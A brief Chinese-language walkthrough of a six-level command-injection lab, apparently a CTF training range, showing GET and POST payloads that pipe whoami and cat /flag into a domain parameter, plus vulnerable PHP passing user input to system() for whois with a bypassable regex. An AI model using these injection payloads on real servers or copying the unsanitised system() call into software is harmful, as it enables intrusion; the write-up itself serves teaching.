第一关
直接在后面跟上?cmd=whoami,即可看到命令执行成功
可以看见www-data;
可以知道这是使用的Ubuntu的服务器,根据服务其的目录可以查看自己想要的信息
当然可以查看一下版本信息
那能不能查看有没有flag:
还真能直接查到,可能是因为是第一关比较简单
第二关
和上一题一样都是需要传参,但是这次的是POST传参
第三关
和上题还不太一样,有whois,我去绕过看看
在后面加?domain=baidu.com|whoami,可以看到命令执行成功
第四关
然后才将POST改为 domain=baidu.com|cat /flag
第五关
if (preg_match('/^[-a-z0-9]+\.a[cdefgilmnoqrstuwxz]|
b[abdefghijmnorstvwyz]|
c[acdfghiklmnoruvxyz]|
d[ejkmoz]|
e[cegrstu]|
f[ijkmor]|
g[abdefghilmnpqrstuwy]|
h[kmnrtu]|
i[delmnoqrst]|
j[emop]|
k[eghimnprwyz]|
l[abcikrstuvy]|
m[acdeghklmnopqrstuvwxyz]|
n[acefgilopruz]|
om|p[aefghklmnrstwy]|
qa|r[eosuw]|
s[abcdeghijklmnortuvyz]|
t[cdfghjklmnoprtvwz]|
u[agksyz]|v[aceginu]|
w[fs]|
y[et]|
z[amw]|
biz|cat|com|edu|gov|int|mil|net|org|pro|tel|aero|arpa|asia|coop|info|jobs|mobi|name|museum|travel|arpa|xn--[a-z0-9]+$/', strtolower($_GET["domain"])))
{ system("whois -h " . $_GET["server"] . " " . $_GET["domain"]); }
else
{echo "malformed domain name";}
这里有正则表达式,真的好长,研究语句后尝试层层套用
?domain=baidu.com&server=127.0.0.1|whoami||baidu.com
然后然后,再进行
http://ip/CMD-5/?domain=baidu.com&server=127.0.0.1|cat%20/flag||baidu.com
第六关
将第五关的get注入改为POST注入
cmd靶场进行完毕